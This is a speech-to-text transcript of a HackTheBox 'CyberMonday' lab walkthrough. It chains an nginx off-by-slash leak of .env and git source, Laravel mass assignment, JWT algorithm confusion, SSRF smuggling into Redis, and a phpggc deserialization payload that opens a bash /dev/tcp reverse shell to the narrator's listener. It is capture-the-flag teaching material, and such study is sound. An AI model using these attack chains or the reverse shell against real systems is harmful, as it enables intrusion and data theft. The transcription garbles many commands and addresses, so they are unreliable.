what's going on YouTube this is ipack I'm doing Cyber Monday from hack the box and this I think could be one of my better videos because a lot goes wrong when I was recording this and there's a lot of just troubleshooting methodology that went into this video and I think that's one of the most important skills as a hacker and a lot went wrong just because there's a lot going on for the user at least it starts off with a engine X misconfiguration it's the off by slash thing that lets you pull the source code of the application you discover a mass assignment vulnerability that lets you get admin on a web app that leaks a web application that is vulnerable to a JWT algorithm confusion there's some server side request forgery into protocol smuggling which allows you to write to a redest database you can write um a lauraville cookie in there and do a PHP deiz attack there's so much

HackTheBox - CyberMonday


that goes wrong we do a lot of troubleshooting in this video I think it's going to be good so don't let that daunt you the route is also pretty fun but let's just hop into it as always we're going start off with an end map so- SC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it Cyber Monday then the IP address of 1010 11228 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells us it's a Debian server we also have HTTP on Port 80 it's Banner tells us it's engine X and we have a redirect to cyber monday. htb so let's go ahead and add this to our host file so pseudo at host and then we can add 1010 11228 in cyber monday. htb so let's go take a look at the page

HackTheBox - CyberMonday


so cyber monday. htb and we see it looks like a online store so my first guess is trying to figure out what this is um coded in and the easiest way to do that generally is get a 404 page because a lot of times the 404s are unique and I know this this one is going to be lauraville um just based upon the way it looks I'm trying to find something we could just Google for it um but if you do enough pen testing or testing these apps you start to recognize the four or4 pages I'm not sure what we could Google there but we know this is going to be PHP I bet if I did index.php we get here if we did index. phpa it gets a 404 not found so as further confirmation it is going to be PHP so let's go to run a gobster so do gobster di for directory mode U HTTP cyber monday. htb DW for word list OPC list Discovery uh web content raft small words. text uh we also need the DX for

HackTheBox - CyberMonday


extension do PHP and out file we'll call this Guster root. out and we'll just let that run so we can start poking at things while it goes there is a login so let's just click on login and we can try logging with admin admin it says email address so let's do cyber monday. htb and we don't get anything uh invalid credentials um and it just occurred to me we could probably figure out its level based upon cookies as well so if I turn intercept on we send the request and let's see we just see xsrf token um we have two different tokens generally when I see two two tokens I think it is going to be um lville decode this and if we look at exactly how this cookie is encoded this is another just um indication right and these are always I generally like fingerprinting web applications so as I'm doing boxes I always like looking at

HackTheBox - CyberMonday


this stuff wait what was that double encoded what's what did I copy Okay contrl C base 64- D base 64- D I guess that is double encoded weird I don't know if that's typically larel or not but we do see IV value Mac and tag wonder if I just Google that if I go um cookie IV Mac value tag turn burp Suite off and the very first thing is a larel thing here's another one so again just ways to fingerprint the applications let's try signing up for an account and we can do username we'll do ipac email root ic. Ro password of password click sign up and then we can try logging in to see what we have we click password now it's logging in I think the web app site's going a little bit slow because I am running the gobster I may turn that off because I think it's got what we wanted to see but if I go to slome we can see this uh if I go over to gobster

HackTheBox - CyberMonday


we have login index.php log out products sign up there is a dashboard but we may be able to do what I want to show on home so I'm going to do a new uh private window so it doesn't have any cookies if I go to cyber monday. htb home as an unauthenticated user it directs me at login um there is a SL dashboard I want to say there was a dashboard there we go and this tells us that debug is enabled for lorville and it is full confirmation that it is running lville specifically version 9460 We also got the PHP version here and then it's showing the snippet that errored out and the reason it errored is in the first request to um check if I'm authenticated on SL dashboard we have Au user is admin and because I did this in my incognito window I don't actually have a user so that is where this is failing there's not much more information we can get out of this it's just something I wanted to show if you

HackTheBox - CyberMonday


ever see um verb error messages like in debug mode that is definitely going to be a finding so looking at this there is one thing that stands out um if we look at the 302 302 redirect and this 301 redirect we have SL assets redirecting to asset slash and this isn't always going to be a finding and something that normally a web scanner like burp sweet scanner um I think invic is another one net sparker various scanners will be able to detect this automatically but if we go to/ assets we see it um let's actually go to burp Suite so it's a bit more visible what we're doing and this is going to be an engine X thing I generally test for when I see a directory redirecting this way on engine X so send this over to my repeater tab if I do a git on/ assets it redirects me to assets slash the other

HackTheBox - CyberMonday


thing I'm noticing is the X powered by is not in any of these if we did a request let's just change it to slash um it's going to have a bunch of PHP headers right so X powered by PHP we have the xerf token things like that so since those headers are gone we know we're not being sent to the PHP like um fpm I think it is or field pool manager whatever it is we're not being sent to PHP and engine X so this tells us we're in a different stanza of engine X code and because it's redirecting us we're probably going to be in an alias and um the Alias or the actual server header doesn't have a slash terminating it so let's look at engine X off by slash real quick so if I do engine X off by slash go over to Google let's hopefully we can find something good uh tenable no let's see maybe this next off by slash yeah this is going to be

HackTheBox - CyberMonday


good um that's missing root location off by slash so this is what it looks like the actual engine X config and because it doesn't have a slash in the location I think I said server before but it's in the location it's not ending with a slash we actually have a directory traversal here because it's going to match anything with/ static and then send what's after static down to the Alias and since it's matching um before the trailing slash if we put a period period we're going to end up in user share engine X we can't go more directories you're kind of locked into wherever you hit so I can't go down all the way and go back up to get Etsy pass WD but um we can go up one directory so let's go over here and we can test for this again so if I did assets period or if we do assets we get a 301 assets period 301 assets period period 301 three periods

HackTheBox - CyberMonday


it gets a 404 and that's just because of how um the file system is behaving so if I did a LSN map that worked lsnm period That's current directory period period is going up One Directory three periods ends so that is how the engine X off by slash is working it's just a vulnerability because they didn't put a trailing slash here the reason why you have like the SL static asset is mainly for like um cdns because the image like the assets if we looked at what is being loaded it's probably a bunch of big images right you don't need to deploy that with your code so you just have some like type of CDN where all the images are stored so it's not bogging down the server where you have the code actually um there and you don't want PHP handling the image as well so that's why you have these separate locations for your static files

HackTheBox - CyberMonday


um just make sure you have a trailing slash on them unless you can do something like this so since we do assets period period we're going up One Directory so the very first thing I generally test for is let's try index.php to see where we are if this returns anything we get a not found um it went over to um the PHP header and that's probably because there is something in this um engine x with is a location it says any request that ends in PHP send it to the PHP um socket right so you probably can't end in PHP we could do like readme.md as a popular file and we do get something uh we get about larel so we got the readme of the page and that's typical of when you see readme.md it's probably going to be in some type of git instance so I can try a SLG we get a moved permanently if I do um a file in git like say head we can see it

HackTheBox - CyberMonday


return something so we have a open um uh git directory so we can clone that the other thing I would test for is a EnV because this is generally a sensitive file it contains things like the um credentials to a database we can see database username and password is both root so if we can access my SQL we could try logging in uh we can see reddis is probably configured the prefix is LEL session so all the LEL sessions are being stored in reddis take note because that's going to come in important later but you get to see all the secrets of the application this is going to be the encryption key for the Laura V cookie so um we can also decrypt the probably Cyber Monday session here with this which will come in again later on in this video probably so um let's focus on the get directory now and just remember we have the environment variable um for

HackTheBox - CyberMonday


later so I'm going to run the tool get dumper and if you don't have it this is just I believe a pip install I think it's like pip three install get dumper if you don't have it let's see does this install yep it does so that's how you'd install it I'm going to make a directory called source and we're going to do get dumper the URL so HTTP cyber monday. htb assets SL uh period period slet and then we're going to specify the directory we want the source or the get downloaded to um maybe we don't put a trailing slash because I noticed it did SL slash right there uh 404 do we just do that there we go so it automatically appends the doget for us so now it is going to download copy everything into that Source directory so if we go in CD Source do a LS we can do a get log there's only um one commit gmail.com but we have all the PHP code

HackTheBox - CyberMonday


so let's open this up in Visual Studio code and then go over it right so it is now pulling up and I'm going to let this load so we can have sneak tell us if there's any vulnerabilities it's running the code Security check now and open source so it didn't find any vulnerabilities in the dependencies code security did find a hardcoded credential and if we look at it I'm guessing this is some type of like unit testing thing just because we have Faker in this um not like the League of Legends player Faker but generally when I see something like this it's just inputting a fake name in the database probably testing for like authentication or something like that so um this vulnerability can probably be ignored which means we need to look at the code the hard way manually so the first thing I generally do is go to routes and look at what routes there are we have SL user models console so if we

HackTheBox - CyberMonday


go web these are all the routes if we look at like sign up I'm probably going to look at like sign up log uh profile update like looking for SQL injections things like that I'm just focusing on fields that we have user input for right so if I go app HTTP controllers the off controller because we have that here we can see it and how we do registration and this doesn't look vulnerable to me um it starts off with validating we have three parameters the username email and pass password I'm guessing this is doing some type of regular expression to confirm it is a valid email it has like a domain.com in it um and because it's using validate only these parameters will ever be pushed to validated so then it goes to do an insert and we add it right we're not doing raw SQL anything like this so nothing looks vulnerable here to me so

HackTheBox - CyberMonday


let's go take a look at the um next drout let's look at update and this is in the profile controller so we can go profile controller look at update and this is something that is probably you may want to like GP for and code to look for because anytime you see accept this is kind of a dangerous field um so it's going to take the request object and take everything the user supplies except these parameters so they Blacklist the token the password and password confirmation and if the password is set it's going to um check the password and then bcrypt it so that's why it doesn't care about um taking the password here and putting it into this data because they want the data to be the B crypted form of password so they remove it from the user it doesn't remove it from the request altogether the request goes into data

HackTheBox - CyberMonday


and they're checking the password specifically here so they handled that well and then they do update so there is an issue this is going to be vulnerable to mass assignment which means we can write to any column in the database with the exception of these and there is one other thing you can do to protect it in um lural and that is specify a guarded page or guarded variable in the controller or the model not controller this is probably going to be the user so if I go to user we can see guarded and that's the remember token and this is attributes or mass assignable so you'd put anything here and if it's in here anytime you would do a quote unquote Mass assignment which just means give me everything from the user and then send it to another um object that guarded parameter guarded variable does not get included in it so

HackTheBox - CyberMonday


there is a probably um a group flag or something in the column that we may be able to add so let's look at the database we can go to the user Factory let's see that's not it migrations and let's see this is the products table where is going to be user personal access token password reset user so we have the fields username email password and is admin the default is zero so if it's not specified it's going to be zero but we can specify it when we register and because it's not a guarded variable we can set it to be one and if it is one then we become admin so let's go and try to register a user so I'm going to go back to Firefox and go here log out and then I'm going to create an account I'll do username it email address root atp. Ro I'll call this admin atp. Ro I guess 1 two 3 four and the password of password and now let's intercept this request so we do burp site intercept go to proxy intercept

HackTheBox - CyberMonday


on I'm going to send this request to the repeater tab just because I want to play with it a little bit after we do it right so I'm going to do and is admin is equal to we'll do true and we hit um send the request we get a302 found I guess we can follow the redirection and render and we have registered I actually did not expect that to work let's just go back to log in and see if we are indeed an admin and is my gobster running it is I am going to kill it we did see dashboard did show us the 500 page um so we can do admin atp. password of password and do we get anything else uh products home it doesn't look like it what did my request look like we oh I did on registration the mass assignment was on the update field right so um adding this parameter did nothing because again remember it took the validated input and there wasn't

HackTheBox - CyberMonday


anything there so we want to go to view profile and then we can update this so let's do burp Suite go to proxy intercept on click Update Center repeater and here we go let's do and is admin equals true send the request and we get an error and the error we're getting is going to be um let's see forget an entity error I want to say I forget the exact wording for it but it expected an integer and we gave it a string so we gave it true it wants one or zero so let's just do one it's loading redirecting and then we become admin I believe so let's refresh this page take it off of burp suite and now we have access to dashboard which is admin um before we go into this I do want to play with this a little bit because whenever I find a vulnerability like this and I find it through static code review or code analysis I always like going back to see

HackTheBox - CyberMonday


if there was something I could have done done in the Recon game to figure it out right so I'm going to let's see was this the update it is so let's try putting a bad variable in so if I do uh does not exist is equal to one I'm curious if this makes the whole request fail because it's going to um go here and we're going to have an unexpected parameter or um variable in this data and when it goes to update the database I wonder if that unexpected value crashes this update so it doesn't actually update um so that's all I'm doing to test we send it it redirects us let's follow the redirection and see what that looks like oh it redirects us to home profile and we have the profile being updated so we didn't get displayed an error message but it's possible um an up updated and or it didn't update but it just showed

HackTheBox - CyberMonday


us that it did so what I'm going to do is change my username so we'll do I 2 so this will be full confirmation that um the query works because we actually changed something so when I send it it's going to render the page we want to follow the redirect and our username is ip2 so we probably wasted two minutes poking at this but it did tell us there wasn't any good way for us to detect the mass assignment vulnerability in lural so even though we didn't really um get anything from doing this extra Recon we still know something in the future like when we come across another Lal project we know um this wouldn't just crash it if you come across a framework where just adding unexpected parameters to it does crash it adding to the database then you'll know when a field may be Mass assignable because you'll be able to add a field it doesn't like you get a

HackTheBox - CyberMonday


database error you're like oh they're not just um they're just taking any field we give it and throwing it at the database which um is safe if you use guarded things and protect against Mass assignment but if you don't obviously not safe so hopefully that piece made sense let me know in the comments if it did or did not and if you like me going in on those random tangents but now we are logged in as the admin and this page doesn't make that much sense to me we get some pretty graphs so some executive probably loves it there is funny names like iwan Kenobi greo and Darth Vader but the first thing that grabs my attention is always a change log because there may be good information here and looking at it there is a unreleased change log I'm just looking at these um links and it adds a web hook and we get a new domain to this um that did not

HackTheBox - CyberMonday


copy copy link there we go it is web hooks api. cyber monday. htb so let's add this into our host file so we can um hit it so stud VI ety host and add the web hooks beta and let's go click on this link and we get nothing let's just go back here and we get some documentation on exactly what this is um we should also again do some Recon on this and run a go Buster uh before I do that I wonder what technology this is let's go back over to um proxy intercept on uh we need turn intercept here refresh look at it and we still see X powered by PHP so it's probably going to be some type of lural back end um see if we don't give it a PHP cookie does it give us one back it does so definitely we are talking into PHP um so before we go and play with all these end points let's just set up some type of Recon again always like having Recon run in the background so we'll go back up to our

HackTheBox - CyberMonday


gobster put the new domain in and then let's change this to be um web hooks. out and I'm going to change this I'm going to take a little advantage of hindsight and I know what I'm looking for isn't on ra small words another one I generally look at is common. text um so that will help out a little bit later on if we just run that now so let's just look at these parameters and there is a register function so we probably want to hit this first so I'm going to do a curl DX poost um HTTP this should still be my clipboard and then we do Dash oh is it SL register off register then we can do- D username is equal to IPC and password is equal to ipac and we get an error message username is not defined so I'm not exactly sure why we got that um let's go back here it wants username password and to be a post let's just intercept this request so we

HackTheBox - CyberMonday


can see uh what we made so I'll do-x to sent to a proxy HTP Local Host 8080 send it to repeater tab click Send and we get used name is not defined um let's see well this is an API and it gave us data and Json format and most of the time when we talk with apis they like Json so let's try changing it to application Json and then setting this to be Json as well okay there we go and we have a success so we have registered the user IPC on this API if we go over there is an O login so let's try hitting o login it want username password as well so send the request and it sends us a x access token back and gives us this so let's just put this token in X access token and we'll place that so I'm guessing that will allow us to do a get request on SL web hooks so let's um change a request method and we can just hit web hooks we get success and we can see a

HackTheBox - CyberMonday


web hook for test so so let's um see what we can do we can go to this uuid and probably create a log file um let's try though creating our own web hook so we can do web hooks create it's a post so let's do web hooks SLC create um this is post so change the request method uh content type it's going to be Json and then we need What fields name description action so we do name um cool web hook description uh does a thing and we'll call Action the thing so if we send this request we get an error unauthorized um if we look at our JWT uh let's see I do have um a new plugin installed if I go let's see if you want to install it go to extensions B App Store and search for Json uh I've installed the JWT editor and Json web tokens I think it's the Json web tokens that lets me see this easily so if I just click on this um it

HackTheBox - CyberMonday


displays the token for me so I can see it's a rs256 token the um role is user and we could also just do what we normally do if you didn't want to use this plugin we can always copy this go to jw. uh let's disable burp Suite paste the token in and you can see this and this is going to be a um RSA encoded thing instead of HS which most people are familiar with um HS I think is hmac it stands for um and the big difference or the reason why you use RSA is if you want the token to be able to be used with multiple services and you don't want to expose the secret key to many services right so think of it in terms of like ooth right you want to be able to have let's say hack the Box be able to um accept a token from Google right Google doesn't want to give hack the Box the secret but they can give a

HackTheBox - CyberMonday


public key that also lets them validate the token so this is just a asymmetric algorithm to encrypt it um there are some vulnerabilities in this one of the entry ones easiest ones to test for is an algorithm confusion attack um you're probably familiar with something similar when you just remove the um algorithm and send a unsigned token in the server request accepts it in this case we change the algorithm from RS to HS so we tell it it's a hmx signed thing and then provide the public key as the signing key and maybe the server will accept it so that is the um smuggling attack now in order to get this to work we need to find the public key and typically the public key is going to either be on the web server somewhere um there is a common thing it is a um let's see let's see if I can find it over here yeah it's in the common so it's jwks Json it's either in like the

HackTheBox - CyberMonday


wellknown directory in this or on the route um I think it's Json web something set what does JW k. Json go over to Google uh Json web key set so let's go view that file um go over here here uh jwks Json and it's a list of keys and they only have one key it's going to be RSA and it's in a format you're probably not familiar with um it's just displaying the two exponents right the two main exponents in a public key or n and e e is going to be the exponent it says aqab but this is just um it's like 65,000 something uh let's do Python 3 m Port base 64 let's do b64 dcode this uh base 64 dot okay and then let's see int. from bytes I want to say uh we need bite order it is Big endian encoded 65537 this is a very very common exponent in RSA um if you ever done anything with it you probably recognize that number so the next piece is this key so let's grab this and we'll do the

HackTheBox - CyberMonday


same exact thing but we'll call this and we see a very large exponent so let's just say n is equal to that and then e is equal to that so now we have both those keys in exponent form um we want to um create the public key and if you don't have the package on your computer you can just do like a pip three install pry crypto doome I want to say that is yeah py cryptodome so we can say Python 3 generate RSA key with n e p crypto doome let's see do we have a good example okay from crypto public key import RSA so that's the P crypto Dome package we have n and E already so we can probably do RSA do construct and then we give it a dict value NE e uh and modulus is not odd oh that is an even number it looks like I'm just saying because it ends in two um let's see let's look at this so this still decoded but I'm guessing we did the wrong base 64

HackTheBox - CyberMonday


because it's got um dashes and stuff instead of the plus so this is a URL safe base 64 so I'm going to say N2 is equal to n and N2 is going to be the non Ural safe so let's redo this and see if um we get a different integer if we do this incorrect p ping uh let's just add padding manually okay so let's look at n n ends in seven that is good for this number being Prime because N2 was definitely not prime um I think this number is bigger so now let's do that RSA construct again there we go we got a key um so call it key we can call P key for public key and then we can do a p key.

HackTheBox - CyberMonday


export key and this is probably what you're used to saying for a key right um let's do a decode and we can also print it uh print dcode there we go so this is the public key so what we can do is save this to a file so we'll call this V key paste it in and I always like when doing this type of attack xxd it and you only want to see one OA um it is very specific on the line break right if you had it like this and you copied a um extra line break and it's 0 a0 a it's going to fail the signing of the next step so always important that it only ends in one line break so let's Bas 64 en code this so do base 64 key- w0 and now we have a key so let's go back to JWT I'm going to change the algorithm to be hs256 we're going to change our role to be admin we're going to paste our secret and say it's base 64 encoded and

HackTheBox - CyberMonday


I'm going to copy and paste the key let's see X access token so before we got error unauthorized we paste this key and we got past that error if you wanted to avoid using um jw. let's just go back here we have this key we could go to the JWT editor um let me delete this and do a new symmetric key I know this is an RSA key but you have to do symmetric key you can click generate go under the K parameter paste this so now we have this key so when we go back to the repeater tab we can go over to Json web tokens uh let's change this to hs256 change the roll over to admin and then we want to click sign we don't want to modify the header we're going to sign with the key we just created click okay and it's updated the token for us um if I click back here you can see it's much smaller click Send and oh that's not what I

HackTheBox - CyberMonday


expected um we screwed something up here let's look at this ey oh I put the key we want to copy the secret um this ey is the um the key I had on my clipboard so if I put the correct thing in there let's go back and redo this so repeater go back here go to the Json web token HS roll is admin let us sign this key and then click Send and there we go so you can either do it from within burp Suite if you like all the these Json plugins you can do it through JWT doio or maybe like JWT tool if you want to use command line 100 ways to do it but um yeah so now we have this it says only letters numbers and underscores allowed in the name so let's get rid of the space in cool web hook and this action is not available we can either send a request or create a file so let's do send request and done send me a request

HackTheBox - CyberMonday


to exit execute the action as the event listener is still being deployed so the web Hook uid is this and if I just do a get on web hooks let's try this real quick get web hooks we can see our cool web Hook is created so if we went to this uu ID it probably has to be a post we need a URL so let's do Json and we could also just look at the documentation because I think it says um the send request it needs URL and Method right so you can either get it from docs or just play with it we could do URL let's do our own IP 101048 we'll do port 90001 and let's listen send it method is not defined so let's say method is equal to get it waits and we have now made a request to us so we control that see out of that and it just says the URL is not live we could stand up a web server so Python 3 HTTP server um

HackTheBox - CyberMonday


901 make it and it displays the content back to us so at this point we could probably uh do 1271 Port 80 let's see does this work it is hanging and says URL is not live let's do 10 10 14 or 10 10 11 uh what was the IP 228 we get your lived so this tells us this thing is probably in some type of container right because we know um 101 11228 this is a web server right 1271 said it wasn't listening but this says it is so that tells us we're in um a container uh the other thing we know is there is a environment let's see do we have it here uh doget if we go back to the off by slash assets uh Cyber Monday no n slash there there is a host name called redis so we could test if that works right so if we do a get on rdus we see EUR is not live it responded immediately if we do Reddit does not exist it's going to hang because it doesn't know this so This does

HackTheBox - CyberMonday


exist um let's see send the request now it's waiting let's just send it there we go and I'm going to send a few we have around 100 milliseconds of latency right right so 6379 is that the port and still around 100 milliseconds of latency what I'm trying to do is validate if this port is open 6379 6379 and I'm hoping I could determine if the ports open based upon latency but it doesn't look like I can because a request on 80 and 6379 does not come back um let's see if and that's probably because when we connect to this port it's not sending HTTP back and since it's Local Host it's blazingly fast um if this Rus server was on a uh different box then you'd probably see an increase in latency there right but since it's not you don't see that so I want to test for like protocol smuggling even if we connected to this redus isn't going to respond back in a um http compant way so

HackTheBox - CyberMonday


a web browser isn't saying the URL is live but we can manipulate this get right so let's go to 10 1048 again and I'm just going to listen 6379 whoops we just do this we see it is the get um n cvnp 901 I'm going to add a k and that's just going to keep it open so if I send the request uh I did not 01 we can see it responds oh the K is not going to help me because wonder if I send it send something back you're not live to not stay open um sometimes the K Works where if the server closed the web socket then you don't have to keep hitting enter again to start it but this is not one of those cases so let's go back and we can change this method uh let's do pretty so we have it on different lines so if I put um hipac rocks here and we hit enter what we see is it connects to us and then writes ipac

HackTheBox - CyberMonday


rocks so what I want to do is see if I can enter new lines because if I can put line breaks here um I can make valid redis queries and then um um it would just eror out once it hits the HTTP piece so let's do this again back SLR back sln and we see it just as IPC rocks so now we can interact with a socket manually um so let's do 6379 and let's do um redus so if we went to redus commands and look at their documentation and I spent a lot of time looking at this documentation page with oxf to look at all the commands we can do um eventually we found this migrate command and all we're looking for is a command that allowed us to um talk to a different host so this migrate command allows us to send a single key over to another host and the thing is we have to know the key so we're going to do two redus commands

HackTheBox - CyberMonday


the first one is going to be creating a entry in redus and the second one is going to be migrating it so let's see I want to say there was a create um create create a new time series key returns all reddis create key set set is the command set right here so we can just set the key and the value does it give us an example yep set my key uh like that so let's do a set I'm going to call the key IC and we'll say please subscribe we get an error URL is not live but now let's go test the migrate command and does this give us an example it does so we can say migrate and then 10 1048 the key we called it IPC and then uh 0 500 I don't know exactly what these are destination DB and timeout so we'll say 0 5,000 okay uh we've got the port 6379 so if I do a n cvnp 6379 let's send it it's hung we look at this and we see our key and the value

HackTheBox - CyberMonday


here and the connection was from this right so this validated that um we were able to um issue commands to redus we don't know what keys are in the database and I don't know a good way to enumerate that other than like guessing from eventually the information we get but all I'm trying to do here is prove that we can um interact with redus right because if we didn't prove we could interact with it then the whole next step is like a lot of blind things just trying to do things and hoping we're interacting with it but having no way to this will also let us debug things because we could send the request um and then see what we wrote in the database right and the other thing I'd probably do is run a Rus copy so let's do 6379 6379 redus latest so it can't find a copy of redus it's going to just go download the docker and then run it right so now we

HackTheBox - CyberMonday


have redus running um Docker PS there we go let's do a Docker exact it f 9682 sh redus CLI so now we're um in the local redus database of our box if I do a key star we have empty um and the migrate command if you don't specify uh copy it's going to delete the key and I forgot to do copy so if I ran this migrate command again it probably wouldn't do anything because that key no longer exists so let's set the key with IPC and then we can now migrate it responded immediately because um a Reda server probably responded right if I do key star we can see IPC is there so um Keys IPC let's see how do we dump keys reddis dump keys I forget the syntax is it just dump R is dump let's see dump key dump IAC there we go we can see uh the key I don't know why it wrote that stuff that is weird um there's

HackTheBox - CyberMonday


probably a get so get ipac there we go that's what we want to do this probably dumps it in like how it's stored in some weird serialization format but get is the command we want so now that we have that we have to think at what reddis the whole purpose of redus is in this application right and if we went back to the very beginning uh we have it in a burp Suite window here I should just name this EnV um we have the reddest prefix of lural session and then colon so since it's a prefix this is going to be where the cookie are stored um here is our larel cookie so now we have to decode this um See Echo that that's an equals B 64- djq do so um if we had Googled all these and I did earlier in the video it tells you um it's PHP Laural you go to a hack trick page and they give you um um a script where you can decrypt the key right but we're

HackTheBox - CyberMonday


going to skip that right I'd rather just do it manually instead of just showing hack tricks decrypt Lowel let's see can I pull this up quickly LEL hack tricks Come on load let's see decrypt yeah DCP cookie so this this looks scary right but the only thing you really need to know is the um how it is and it's as 256 CBC I'm trying to find where it says that so we got crypto Cipher import as um as or is it deck Bas 64 dcode hmac new hex digest as key size new so as mode CBC so again I think this is scarier than just doing it ourselves so if you saw some documentation that just said larvel cookies are encrypted with as 256 CBC which if you search documentations you probably will see so let's just go on that and let's go to cyberchef we do as decrypt uh CBC the key we're going to say it's a base 64 key go back to the environment

HackTheBox - CyberMonday


grab this value paste it in the IV that was in our base 64 that's also going to be uh and base 64 format CBC the input we're going to say is raw I wish the input they had Bas 64 as well we'll just put this here and then we also have to tell cyberchef to base 64 decode it before this and here we go we got two things um so this is going to be the actual cookie we have and this is um the second piece I think I am confusing myself with this so let's just prove it let's see we have R standing so it should be larel um session and this so let's go back here we'll migrate I'm going to add a copy so we don't delete the key and we'll say lorelore session this and this should send us the value of our session URL is not live let's really hope we have it we don't um let's see let's go back here where do I

HackTheBox - CyberMonday


go environment Redd is prefix let's go back to this we'll call this redus I did not make a typer there that is not a key I don't think we would do this I wonder if our session just died let's see it's very possible that we're working with a old key so we're definitely logged in here let's do the same thing here hecho basic 4D uh fix this padding JQ dot see is this IV different than what we had hard to tell looks like it is so uh shoot this is the IV I copied in the wrong field okay let's try this key star that doesn't work does not work let's try the second parameter there we go so is a second one and now we have this key so if I do get this we can see the value right so this is what the PHP session looks like so we have like a token uh this is a string maybe that's the IV I don't know what that string is I'm

HackTheBox - CyberMonday


just saying IV because it ends in IV See Echo Bas 64- D no idea what that is uh previous the page I'm on the flash message um something but this is the Laur cookie and the key piece is this is a serialized object right um since it's a serialized object that means there's probably going to be a way to do deserialization because it's pulling this cookie it's un sterilizing it and then executing and if we go to uh PHP GCC is it GGC I think it's GGC PHP Gadget something generic Gadget chains there we go and we look at this there is a bunch of lural and it tells us what versions they are good for um I'm going to do Lille rc10 I like to string I guess we could do destruct as well on rc9 but the key piece is just making sure there's a version that matches what our larvel was right and if we went back let's go to a

HackTheBox - CyberMonday


private window um CYO Monday dashboard this let us enumerate the larvo version oh it says 946 and um this did not say this said 91 so may the documentation not open updated it does say plus so um it does work beyond that we wouldn't want to do like one of these down here um so I'm just going to do rc10 it's the latest so I think I have that in opt CD opt uh PHP GCC so we can execute this and then we say uh Laurel rce1 system and then the command we want to run so I'll do a bash d c Bashi Dev TCP 10148 91 like that and I changed up the quotes um normally I do a single quote then a double quote the reason why I'm making sure I do this is because we're going to be pasting it inside of Json and this quote gets thrown away because I'm just quoting to say this is one single argument not the separate on Spaces right um this quote will be in

HackTheBox - CyberMonday


the payload I don't want to have to deal with um quote setion right so that's why I did single quotes here so now we get this payload so we want to write this payload inside of um redus so let's do set ipac and we're going to paste that and it does have a bunch of double quotes that we're going to have to escape um let's see V payload that's not what I want that is so we'll do a percent s quote and then double back slash like quote there we go I did double backslash because I escaped the backslash so that looks better so if we save this cat payload now this may be Json friendly and there is an error here that I just want to show what happens because troubleshooting is so important right we send this and we we get URL is not defined that is a very different error than before is URL is not live so that indicates that probably our Json or

HackTheBox - CyberMonday


something is bad here and the issue is probably going to be these backslashes so let's do V payload um shoot I want to go back and grab this one copy it's easier if I do escape the slashes first so we do percent s escape a slash like that there we go so now all the one backslash is now two so that escapes because the payload was um treating backslash as a control character so like it was saying back SLR and thinking that was some special command when it's not so we have to escape the backs slashes and we still have to escape the quotes like that and now that may work so let's copy this go here paste it send and we get URL is not live that is a good thing to get right I'm going to call this key IP 2 and then I want to um migrate IPC 2 you're all not live that's fine key star did not have it as not what I expected wonder if we have to

HackTheBox - CyberMonday


put quotes here still don't see IPC 2 that is slightly worrying let's see let's do what we always do simplify the payload we'll call IFC 2 test migrate still don't see it we did IC 3 we get rid of this copy something is going wrong let's kill our Docker did not get a connection make sure this key exist send it nothing what did we screw up let's see that is the command right so we set IPC 3 migrate yeah that is the command we have something really off oh I don't want the back SLR back sln I bet if we do IC 2 now that works right there we go see did I have back SLR back sln in a payload like this don't think so let's do hipc 5 paste this and we'll migrate was I doing in here hipac five and it's hung why didn't hang I think my VPN just died or I killed rtis on the server one of the two uh ping

HackTheBox - CyberMonday


10 10 11 to 28 uh my VPN died so I'm going to uh figure out what happened maybe my internet died when I was recording um and get that fixed okay um I am connected again my internet's been flaky today for some reason but let's do key and pick up where we left off so we're still trying to get this data written if I send this we get yl is not live we go over here we do this migrate command and we don't get it so we have the back SLR back sln I am going to put maybe single quotes around this and I'm not doing single quotes around back SLR sln because I definitely don't want um this to be interpreted I'm scared if I put a single quote here then it will send the keys back SLR back sln instead of a new line so let's try this URL is not live migrate URL is not live Keys we still don't get it so let's

HackTheBox - CyberMonday


see we do get rid of this test that took longer we have it so we know we're having some issue with this payload and I'm not exactly sure what this is I guess one way we could test it is let's send the request to 101148 and we'll send it to 901 and listen on it see nclv NP 901 okay so we did a set IPC 5 and sent this whole command that looks good to me so what we could do set IPC uh what keys do we have keys star set ipac and what did I copy that's not it this so let's just copy this because this is the command we're trying to run and that ssrf so maybe we'll get lucky and we're going to get an error message here which we do invalid arguments s see if we get rid of the single quote I wish my home key worked but it does not apparently so we're getting invalid argument there's probably something else

HackTheBox - CyberMonday


oh want do we have to escape all these let's see wonder if we have to do double backslashes when escaping the quotes this one piece of the box is taking longer than I expected but hopefully you're getting some good debugging methodology type stuff out of this still invalid arguments I think that's fine let's see set IPC we'll do this test like this so quotes are fine that is fine that is fine but why isn't this entire thing fine oh that was fine the only thing we did I think was escape the single quote okay let's try this so IC 5 let's do IPC 9 I guess I don't think we've used that and we want to escape these single quotes URL is not defined that is not a good error Z is not live let's do a double backs slash there we go so the reason why I did a double backslash is I want to make sure this ends up in my

HackTheBox - CyberMonday


request so let's go where I have this run this command and we can see we are escaping the single quote here that looks good so let's now go back to reddis 6379 Y is not live I like that error SEC n it took a long time which to me that is good key star we have IC 9 that is key3 though you may have used that but that looks good so I think this is what we want to do so now we have to set a lvo session so let's see that was over here and this is the LEL session we want to set because that is the session of my browser we're thinking so let's set this to be our payload so this works we're going to set our larel session and the data is going to be a malicious serialized object and we're sending a shell to 90001 so let's make sure we are listening on 90001 and let's see I guess now's a good time as any to send it eurl is not live that's a good

HackTheBox - CyberMonday


error let's refresh we got an error and we got data but the shell exited which probably means we mistyped our PHP Gadget let's see yeah we don't have the zero and one um so see was that in six zero and one like that uh so now we have to do the annoying thing and replace can't write in this directory okay so the first thing we want to do is replace backs slashes so we escape those then we'll replace quotes with an escaped quote and then I will manually edit this I think we did a double backslash on the single quote so I think that is how we properly quickly um manipulate this payload now we can set the session we will just highlight replace there we go nvmp 901 refresh and we have the shell finally so let's do Python 3 import PTY PTY spawn b bash uh Python 3 not found do we have script we do um say script DQ uh let's

HackTheBox - CyberMonday


see script DH so do quiet I think we just do script DQ Dev null maybe type and Bash there we go stty raw minus Echo FG so this is just another thing that's the same thing as the python PTY PTY spawn okay export term is equal to X term clear the screen and we have a good TTY awesome and sorry to jump back I just remembered there was one thing I wanted to show um when I was looking at all this documentation I was really trying to find other ways for reddis to talk back to me like to try to send all the keys I really don't think it's possible but one thing that really was cool that I want to show is when we look at the documentation we see the keyword is host and Port that we want to send and I didn't see a good way to search the documentation for like these arguments but we can do a little bit of Google

HackTheBox - CyberMonday


